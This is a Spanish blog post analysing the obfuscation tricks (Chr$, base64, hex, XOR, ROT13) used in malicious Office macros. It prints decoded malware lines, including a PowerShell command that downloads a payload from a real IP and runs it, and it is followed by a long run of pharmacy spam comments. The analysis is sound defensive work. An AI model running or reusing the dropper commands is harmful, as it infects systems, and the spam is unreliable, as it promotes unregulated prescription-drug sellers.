Ofuscación de malware en macros de MS Office (II)
La “última” moda en la distribución de malware viene en forma de documentos de MS Office con macros que llegan a tu bandeja de entrada. Si estas macros se llegan a ejecutar, intentaran descargar un ejecutable y lanzarlo para infectar el sistema. Para dificultar el trabajo de los analistas, los autores de estas macros ponen distintos obstáculos. En este post voy a continuar donde lo dejé en mi anterior post. Veamos qué métodos de ofuscación utilizan los escritores de Malware para dificultar el trabajo de los analistas.
Ofuscación
El primer tipo de ofuscación es el más sencillo. Se utilizan cadenas de caracteres normales intercaladas con caracteres representados en su codificación decimal. A continuación un ejemplo:
Set pP5hKP = CreateObject(ggSFhCPeLdOSshe(Chr$(85) & Chr$(50) & Chr$(104) & Chr$(108) & Chr$(98) & Chr$(71) & Chr$(119) & Chr$(117) & Chr$(81) & Chr$(88) & Chr$(66) & Chr$(119) & Chr$(98) & Chr$(71) & Chr$(108) & Chr$(106) & Chr$(89) & Chr$(88) & Chr$(82) & Chr$(112) & Chr$(98) & Chr$(50) & Chr$(52) & Chr$(61))) pP5hKP.Open Environ(ggSFhCPeLdOSshe(Chr$(86) & Chr$(69) & Chr$(86) & Chr$(78) & Chr$(85) & Chr$(65) & Chr$(61) & Chr$(61))) & ggSFhCPeLdOSshe(Chr$(88) & Chr$(71) & Chr$(82) & Chr$(122) & Chr$(90) & Chr$(110) & Chr$(78) & Chr$(107) & Chr$(90) & Chr$(110) & Chr$(78) & Chr$(107) & Chr$(90) & Chr$(105) & Chr$(53) & Chr$(108) & Chr$(101) & Chr$(71) & Chr$(85) & Chr$(61))
Estás concatenaciones de ChrS quedan como se muestra a continuación al pasar las cadenas a su interpretación en ASCII:
Set pP5hKP = CreateObject(ggSFhCPeLdOSshe("U2hlbGwuQXBwbGljYXRpb24=")) pP5hKP.Open Environ(ggSFhCPeLdOSshe("VEVNUA=="))& ggSFhCPeLdOSshe("XGRzZnNkZnNkZi5leGU=")
Como podéis ver, las cadenas siguen sin ser especialmente legibles, pero si se analiza el script, o si se ha visto antes qué pinta tiene una cadena codificada en base64, se puede llegar a la conclusión de que la función ggSFhCPeLdOSshe lo único que hace es descodificar las cadenas en base64. Limpiando todo el código quedaría así:
Set pP5hKP = CreateObject("Shell.Application") pP5hKP.Open Environ("TEMP") & "\dsfsdfsdf.exe"
En esta misma línea de ofuscación utilizando distintas codificaciones, algunas muestras utilizan la representación hexadecimal. Un ejemplo a continuación:
FUYvhbjkgUYV = XORI(Hextostring("3E021E18585B5E624744584C415F674552525A44496659191C03005E3A1A0E46121C01"), Hextostring("56766A68627471"))
Si lo pasamos de hexadecimal a ASCII la cadenas quedarían así:
FUYvhbjkgUYV = XORI(Hextostring(">X[^bGDXLA_gERRZDIfY^:F"), Hextostring("Vvjhbtq"))
Estas cadenas. En principio, tampoco tienen mucho sentido, pero si analizamos la función XORI, encontramos el primero de los cifrados que vamos a analizar.
Cifrado
XOR
En el trozo de código anterior, la función XORI realiza un cifrado XOR sobre la primera cadena y utilizando la segunda cadena como clave. Este es un cifrado muy simple, una de las implementaciones que se pueden encontrar en la siguiente:
Public Function XORI(ByVal string1 As String, ByVal key As String) As String Dim i As Long For i = 1 To Len(string1) XORI = XORI & Chr(Asc(Mid(key, IIf(i Mod Len(key) <> 0, i Mod Len(key), Len(key)), 1)) Xor Asc(Mid(string1, i, 1))) Next i End Function
Este código que puede parecer complicado, se puede entender más fácil si lo traducimos a python:
a = "3E021E18585B5E624744584C415F674552525A44496659191C03005E3A1A0E46121C01" b = "56766A68627471" binary_a = a.decode("hex") binary_b = b.decode("hex") def xor_strings(xs, ys): xored = "" for i in range(0,len(xs),len(ys)): ini = i end = i+len(ys) for x, y in zip(xs[ini:end], ys): xored += chr(ord(x) ^ ord(y)) return xored xored = xor_strings(binary_a, binary_b).encode("hex") print xored print xored.decode("hex")
Este código es el mismo código que publiqué hace unos meses en mi blog personal, pero un poco más limpio.
Básicamente se está “xoreando” la cadena en la variable a
usando como clave la variable b
.
Cifrado de Cesar
El cifrado de César es un cifrado de sustitución en el que cada letra se sustituye por la letra que se encuentra X posiciones después de esta, donde X es la clave de cifrado. Por ejemplo para un cifrado de César con clave 5, la tabla de sustitución sería la siguiente:
En el ejemplo que aparece a continuación, podemos ver un ejemplo de ROT13, o lo que es lo mismo, un cifrado de César con clave 13.
Public Function Function_1(ByVal srt_1 As String) As String Dim counter As Long For counter = 1 To Len(srt_1) Function_1 = Function_1 & Chr(Asc(Mid(srt_1, counter, 1)) - 13) Next counter End Function
Esta función recorre la cadena que recibe carácter a carácter y le resta 13. Es decir, se trata de un cifrado de Cesar de clave 13, desplazaría 13 posiciones hacia el inicio para descifrar, pero en lugar del abecedario, utiliza la tabla ASCII.
La cadena presente en la muestra analizada quedaría descifrada de la siguiente manera:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.243.7/kwefewef/fgdsee/dxzq.jpg','%TEMP%\\JIOiodfhioIH.cab'); expand %TEMP%\\JIOiodfhioIH.cab %TEMP%\\JIOiodfhioIH.exe; start %TEMP%\\JIOiodfhioIH.exe;
Conclusión
Los escritores de malware se las ingenian para hacernos la vida más difícil cada vez a los analistas. Estas protecciones que utilizan están en constante evolución, de forma que herramientas como oledump.py deben actualizarse constantemente a la misma velocidad que el malware evoluciona.
Hay muchos más trucos que se están utilizando para ofuscar estas macros (renombrar funciones, dividir la funcionalidad en distintas macros, etc.) y por eso mismo os invito a coger alguno de estos documentos y analizarlo para que veáis hasta donde llegan realmente los autores de estas macros para ofuscar el comportamiento malicioso.
- Introducción a Frida - 1 junio, 2016
- De Charleta: “Android Application Function Hooking with Xposed” (Jamie Geiger) - 23 mayo, 2016
- De Charleta: “Introducing the RITA VM: Hunting for bad guys on your network for free with math” (John Strand, Derek Banks, Joff Thyer, and Brian Furhman) - 9 mayo, 2016
Wonderful analysis! Your insights are very enlightening. For more detailed information, check out: DISCOVER MORE. Keen to hear your views!
mexican drugstore online: online mexican pharmacy – mexican online pharmacies prescription drugs
mexico drug stores pharmacies
https://cmqpharma.online/# mexican drugstore online
mexico pharmacies prescription drugs
buying prescription drugs in mexico: cmqpharma.com – buying from online mexican pharmacy
the canadian drugstore: prescription drugs canada buy online – global pharmacy canada
buy prescription drugs from india: indian pharmacy – pharmacy website india
https://foruspharma.com/# medication from mexico pharmacy
http://indiapharmast.com/# indian pharmacies safe
medicine in mexico pharmacies mexican pharmaceuticals online mexico drug stores pharmacies
mexico drug stores pharmacies: mexican drugstore online – mexican mail order pharmacies
canada online pharmacy: online pharmacy canada – canadian pharmacy reviews
mexican online pharmacies prescription drugs: mexican drugstore online – mexican rx online
medicine in mexico pharmacies: mexican border pharmacies shipping to usa – buying prescription drugs in mexico
medicine in mexico pharmacies: purple pharmacy mexico price list – medicine in mexico pharmacies
mexico pharmacies prescription drugs pharmacies in mexico that ship to usa mexico pharmacies prescription drugs
india pharmacy mail order: indian pharmacy – indian pharmacy online
top 10 pharmacies in india buy medicines online in india buy prescription drugs from india
canadian pharmacy 24: best canadian online pharmacy reviews – northern pharmacy canada
https://indiapharmast.com/# Online medicine order
reputable canadian online pharmacy: canadian pharmacy tampa – canadian medications
http://indiapharmast.com/# indian pharmacy paypal
pharmacies in mexico that ship to usa: buying from online mexican pharmacy – best online pharmacies in mexico
mexican rx online: purple pharmacy mexico price list – buying prescription drugs in mexico online
canadian pharmacy in canada pharmacy rx world canada canadian pharmacy 24h com
mexican pharmacy mexican online pharmacies prescription drugs reputable mexican pharmacies online
Online medicine home delivery: online pharmacy india – india pharmacy
reliable canadian pharmacy: northern pharmacy canada – canadian online drugstore
best online canadian pharmacy: canada pharmacy reviews – canadian pharmacy cheap
https://canadapharmast.com/# canadian pharmacy in canada
canadian pharmacy no rx needed: canadian pharmacy checker – canadian pharmacy online
https://foruspharma.com/# buying prescription drugs in mexico online
Online medicine order: indian pharmacy paypal – pharmacy website india
best online pharmacies in mexico: reputable mexican pharmacies online – reputable mexican pharmacies online
top 10 pharmacies in india: indian pharmacy paypal – indian pharmacies safe
canadian pharmacy no rx needed: canadian mail order pharmacy – canadianpharmacymeds
http://clomiddelivery.pro/# where to buy cheap clomid tablets
п»їpaxlovid: Paxlovid buy online – paxlovid pill
ciprofloxacin 500 mg tablet price: cipro – buy cipro cheap
https://doxycyclinedelivery.pro/# buy doxycycline 100mg online india
https://paxloviddelivery.pro/# paxlovid covid
http://clomiddelivery.pro/# buying clomid pills
https://amoxildelivery.pro/# can you buy amoxicillin over the counter in canada
doxycycline capsules price in india: doxycycline 75 mg price – doxycycline pharmacy uk
buy amoxicillin online cheap: amoxicillin discount coupon – where can i buy amoxocillin
http://clomiddelivery.pro/# order clomid
http://amoxildelivery.pro/# cost of amoxicillin
buying clomid without dr prescription: where to buy clomid without insurance – buying clomid
https://amoxildelivery.pro/# amoxicillin 875 125 mg tab
where can i get amoxicillin 500 mg: amoxicillin 250 mg – amoxicillin 500 mg where to buy
http://paxloviddelivery.pro/# paxlovid for sale
http://amoxildelivery.pro/# amoxicillin capsules 250mg
https://amoxildelivery.pro/# amoxicillin 500mg price canada
paxlovid pharmacy: Paxlovid buy online – paxlovid pill
generic amoxicillin online: amoxicillin 250 mg – amoxicillin generic
https://paxloviddelivery.pro/# paxlovid covid
http://doxycyclinedelivery.pro/# where can i get doxycycline online
https://doxycyclinedelivery.pro/# where to get doxycycline
Paxlovid buy online: paxlovid pill – Paxlovid buy online
https://clomiddelivery.pro/# order generic clomid pills
п»їpaxlovid: Paxlovid over the counter – Paxlovid over the counter
https://paxloviddelivery.pro/# Paxlovid buy online
http://paxloviddelivery.pro/# buy paxlovid online
buy doxycycline us: doxycycline with out a rx – doxycycline 100 mg tablets
where can i get cheap clomid pills: cost of clomid for sale – where to buy cheap clomid without rx
paxlovid pill: paxlovid buy – paxlovid for sale
buy doxycycline 40 mg: doxycycline brand name india – doxycycline 100 mg india
buy doxycycline over the counter: doxycycline prescription australia – doxycycline for sale online uk